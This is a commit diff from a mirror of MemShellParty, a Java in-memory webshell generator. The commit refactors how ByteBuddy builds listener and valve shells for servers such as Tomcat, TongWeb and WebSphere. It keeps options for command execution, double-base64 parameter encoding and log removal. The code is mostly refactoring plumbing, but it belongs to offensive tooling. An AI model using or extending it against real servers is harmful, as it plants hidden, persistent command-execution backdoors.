mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 15:10:43 +08:00
refactor: build valve and listener shell when generate
This commit is contained in:
+17
-3
@@ -1,12 +1,13 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
@@ -27,11 +28,24 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
||||
|
||||
@Override
|
||||
public byte[] getBytes() {
|
||||
Class<?> shellClass = shellToolConfig.getShellClass();
|
||||
String shellClassName = shellToolConfig.getShellClassName();
|
||||
DynamicType.Builder<?> builder = build(new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.name(shellToolConfig.getShellClassName())
|
||||
.redefine(shellClass)
|
||||
.name(shellClassName)
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
|
||||
|
||||
String shellType = shellConfig.getShellType();
|
||||
AbstractShell shell = shellConfig.getServer().getShell();
|
||||
|
||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||
builder = ListenerGenerator.build(builder, shell.getListenerInterceptor(), shellClass, shellClassName);
|
||||
}
|
||||
|
||||
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||
builder = ValveGenerator.build(builder, shell);
|
||||
}
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
+3
-14
@@ -1,15 +1,12 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
|
||||
import java.util.Collections;
|
||||
@@ -22,8 +19,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
*/
|
||||
public class ListenerGenerator {
|
||||
|
||||
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
|
||||
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
|
||||
boolean needAddGetFieldValue = false;
|
||||
try {
|
||||
targetClass.getMethod("getFieldValue", Object.class, String.class);
|
||||
@@ -31,9 +27,7 @@ public class ListenerGenerator {
|
||||
needAddGetFieldValue = true;
|
||||
}
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(targetClass)
|
||||
.name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
builder = builder.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.method(named("getResponseFromRequest"),
|
||||
new MethodCallReplaceVisitorWrapper(
|
||||
newClassName,
|
||||
@@ -48,11 +42,6 @@ public class ListenerGenerator {
|
||||
.intercept(FixedValue.nullValue())
|
||||
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||
return unloaded
|
||||
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
|
||||
.getLoaded();
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
}
|
||||
|
||||
+15
-26
@@ -1,24 +1,18 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.tongweb.web.thor.comet.CometEvent;
|
||||
import com.tongweb.web.thor.connector.Request;
|
||||
import com.tongweb.web.thor.connector.Response;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import com.reajason.javaweb.memshell.server.*;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.field.FieldDescription;
|
||||
import net.bytebuddy.description.field.FieldList;
|
||||
import net.bytebuddy.description.method.MethodList;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.jetbrains.annotations.NotNull;
|
||||
|
||||
/**
|
||||
@@ -76,25 +70,20 @@ public class ValveGenerator {
|
||||
}
|
||||
}
|
||||
|
||||
public static Class<?> generateValveClass(String packageName, Class<?> targetClass) {
|
||||
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(targetClass)
|
||||
.name(newClassName)
|
||||
.visit(new ValveRenameVisitorWrapper(packageName));
|
||||
|
||||
if (TONGWEB6_VALVE_PACKAGE.equals(packageName)) {
|
||||
builder = builder
|
||||
.defineMethod("getInfo", String.class, Visibility.PUBLIC)
|
||||
.intercept(FixedValue.value(""))
|
||||
.defineMethod("event", void.class, Visibility.PUBLIC)
|
||||
.withParameters(Request.class, Response.class, CometEvent.class)
|
||||
.intercept(FixedValue.originType());
|
||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell) {
|
||||
String packageName = null;
|
||||
if (shell instanceof TongWeb6Shell) {
|
||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||
} else if (shell instanceof TongWeb7Shell) {
|
||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||
} else if (shell instanceof TongWeb8Shell) {
|
||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||
} else if (shell instanceof BesShell) {
|
||||
packageName = BES_VALVE_PACKAGE;
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||
return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
|
||||
if (StringUtils.isEmpty(packageName)) {
|
||||
return builder;
|
||||
}
|
||||
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||
}
|
||||
}
|
||||
|
||||
+10
-27
@@ -4,11 +4,10 @@ import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
@@ -24,25 +23,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final CommandConfig commandConfig;
|
||||
public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
||||
|
||||
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.commandConfig = commandConfig;
|
||||
super(shellConfig, commandConfig);
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (commandConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("commandConfig.getClazz() == null");
|
||||
}
|
||||
@Override
|
||||
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(commandConfig.getShellClass())
|
||||
.name(commandConfig.getShellClassName())
|
||||
.field(named("paramName")).value(commandConfig.getParamName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName());
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
@@ -52,12 +42,12 @@ public class CommandGenerator {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
|
||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||
builder = builder
|
||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.method(named("getParam"),
|
||||
new MethodCallReplaceVisitorWrapper(
|
||||
commandConfig.getShellClassName(),
|
||||
shellToolConfig.getShellClassName(),
|
||||
Collections.singleton(ShellCommonUtil.class.getName()))
|
||||
)
|
||||
)
|
||||
@@ -68,19 +58,12 @@ public class CommandGenerator {
|
||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||
}
|
||||
|
||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(commandConfig.getImplementationClass())) {
|
||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
||||
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(commandConfig.getImplementationClass())) {
|
||||
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
||||
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
||||
}
|
||||
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -18,7 +18,7 @@ public class ApusicShell extends AbstractShell {
|
||||
|
||||
public static class ListenerInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "http"), "response");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -20,7 +20,7 @@ public class GlassFishShell extends AbstractShell {
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||
try {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -19,7 +19,7 @@ public class JettyShell extends AbstractShell {
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||
try {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_channel"), "_response");
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -18,7 +18,7 @@ public class ResinShell extends AbstractShell {
|
||||
|
||||
public static class ListenerInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||
response = ShellCommonUtil.getFieldValue(request, "_response");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,9 +2,6 @@ package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.generator.ListenerGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.ValveGenerator;
|
||||
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
@@ -28,27 +25,6 @@ public class ServerToolRegistry {
|
||||
if (shellClass == null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
|
||||
}
|
||||
boolean isValve = (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType));
|
||||
if (isValve && shell instanceof TongWeb6Shell) {
|
||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, shellClass);
|
||||
}
|
||||
|
||||
if (isValve && shell instanceof TongWeb7Shell) {
|
||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass);
|
||||
}
|
||||
|
||||
if (isValve && shell instanceof TongWeb8Shell) {
|
||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB8_VALVE_PACKAGE, shellClass);
|
||||
}
|
||||
|
||||
if (isValve && shell instanceof BesShell) {
|
||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass);
|
||||
}
|
||||
|
||||
toolMappingBuilder.addShellClass(shellType, shellClass);
|
||||
}
|
||||
shell.addToolMapping(shellTool, toolMappingBuilder.build());
|
||||
|
||||
@@ -16,7 +16,7 @@ public class TomcatShell extends AbstractShell {
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||
try {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
|
||||
@@ -21,7 +21,7 @@ public class UndertowShell extends AbstractShell {
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||
Map<?, ?> map = (Map<?, ?>) ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "exchange"), "attachments");
|
||||
Object[] keys = map.keySet().toArray();
|
||||
for (Object key : keys) {
|
||||
|
||||
@@ -19,7 +19,7 @@ public class WebSphereShell extends AbstractShell {
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception {
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_connContext"), "_response");
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user